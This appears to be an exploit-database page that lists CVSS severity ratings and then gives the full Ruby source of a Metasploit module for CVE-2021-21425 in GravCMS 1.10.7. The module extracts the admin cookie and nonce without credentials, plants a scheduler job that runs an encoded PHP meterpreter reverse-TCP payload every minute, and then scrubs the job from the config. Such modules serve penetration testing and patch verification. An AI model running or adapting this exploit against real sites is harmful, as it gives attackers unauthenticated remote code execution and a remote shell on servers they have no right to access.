The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: GravCMS 1.10.7 Unauthenticated Arbitrary YAML Write/Update (Metasploit)
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'GravCMS Remote Command Execution',
'Description' => %q{
This module exploits arbitrary config write/update vulnerability to achieve remote code execution.
Unauthenticated users can execute a terminal command under the context of the web server user.
Grav Admin Plugin is an HTML user interface that provides a way to configure Grav and create and modify pages.
In versions 1.10.7 and earlier, an unauthenticated user can execute some methods of administrator controller without
needing any credentials. Particular method execution will result in arbitrary YAML file creation or content change of
existing YAML files on the system. Successfully exploitation of that vulnerability results in configuration changes,
such as general site information change, custom scheduler job definition, etc. Due to the nature of the vulnerability,
an adversary can change some part of the webpage, or hijack an administrator account, or execute operating system command
under the context of the web-server user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Mehmet Ince <[email protected]>' # author & msf module
],
'References' =>
[
['CVE', '2021-21425'],
['URL', 'https://pentest.blog/unexpected-journey-7-gravcms-unauthenticated-arbitrary-yaml-write-update-leads-to-code-execution/']
],
'Privileged' => true,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'DefaultOptions' =>
{
'payload' => 'php/meterpreter/reverse_tcp',
'Encoder' => 'php/base64',
'WfsDelay' => 90
},
'Targets' => [ ['Automatic', {}] ],
'DisclosureDate' => '2021-03-29',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [
CONFIG_CHANGES # user/config/scheduler.yaml
]
}
)
)
end
def check
# During the fix, developers changed admin-nonce to login-nonce.
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin')
)
if res && !res.get_hidden_inputs.first['admin-nonce'].nil?
CheckCode::Appears
else
CheckCode::Safe
end
end
def capture_cookie_token
print_status 'Sending request to the admin path to generate cookie and token'
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin')
)
# Cookie must contain grav-site-az09-admin and admin-nonce form field must contain value
if res && res.get_cookies =~ /grav-site-[a-z0-9]+-admin=(\S*);/ && !res.get_hidden_inputs.first['admin-nonce'].nil?
print_good 'Cookie and CSRF token successfully extracted !'
else
fail_with Failure::UnexpectedReply, 'The server sent a response, but cookie and token was not found.'
end
@cookie = res.get_cookies
@admin_nonce = res.get_hidden_inputs.first['admin-nonce']
end
def exploit
unless check == CheckCode::Appears
fail_with Failure::NotVulnerable, 'Target is not vulnerable.'
end
capture_cookie_token
@task_name = Rex::Text.rand_text_alpha_lower(5)
# Msf PHP payload does not contain quotes for many good reasons. But a single quote will surround PHP binary's
# parameter due to the command execution library of the GravCMS. For that reason, surrounding base64 part of the
# payload with a double quote is necessary to command executed successfully.
payload.encoded.sub! 'base64_decode(', 'base64_decode("'
payload.encoded.sub! '));', '"));'
print_status 'Implanting payload via scheduler feature'
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'config', 'scheduler'),
'cookie' => @cookie,
'vars_post' => {
'admin-nonce' => @admin_nonce,
'task' => 'SaveDefault',
"data[custom_jobs][#{@task_name}][command]" => '/usr/bin/php',
"data[custom_jobs][#{@task_name}][args]" => "-r #{payload.encoded}",
"data[custom_jobs][#{@task_name}][at]" => '* * * * *',
"data[custom_jobs][#{@task_name}][output]" => '',
"data[status][#{@task_name}]" => 'enabled',
"data[custom_jobs][#{@task_name}][output_mode]" => 'append'
}
)
if res && res.code == 200 && res.body.include?('Successfully saved')
print_good 'Scheduler successfully created ! Wait for 1 minute...'
end
end
def on_new_session
print_status 'Cleaning up the the scheduler...'
# Thanks to the YAML update method, we can remove the command details from the config file just by re-enabling
# the scheduler without any parameter:) It will leave the only command name in the config file.
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'config', 'scheduler'),
'cookie' => @cookie,
'vars_post' => {
'admin-nonce' => @admin_nonce,
'task' => 'SaveDefault',
"data[status][#{@task_name}]" => 'enabled'
}
)
if res && res.code == 200 && res.body.include?('Successfully saved')
print_good 'The scheduler config successfully cleaned up!'
end
end
end
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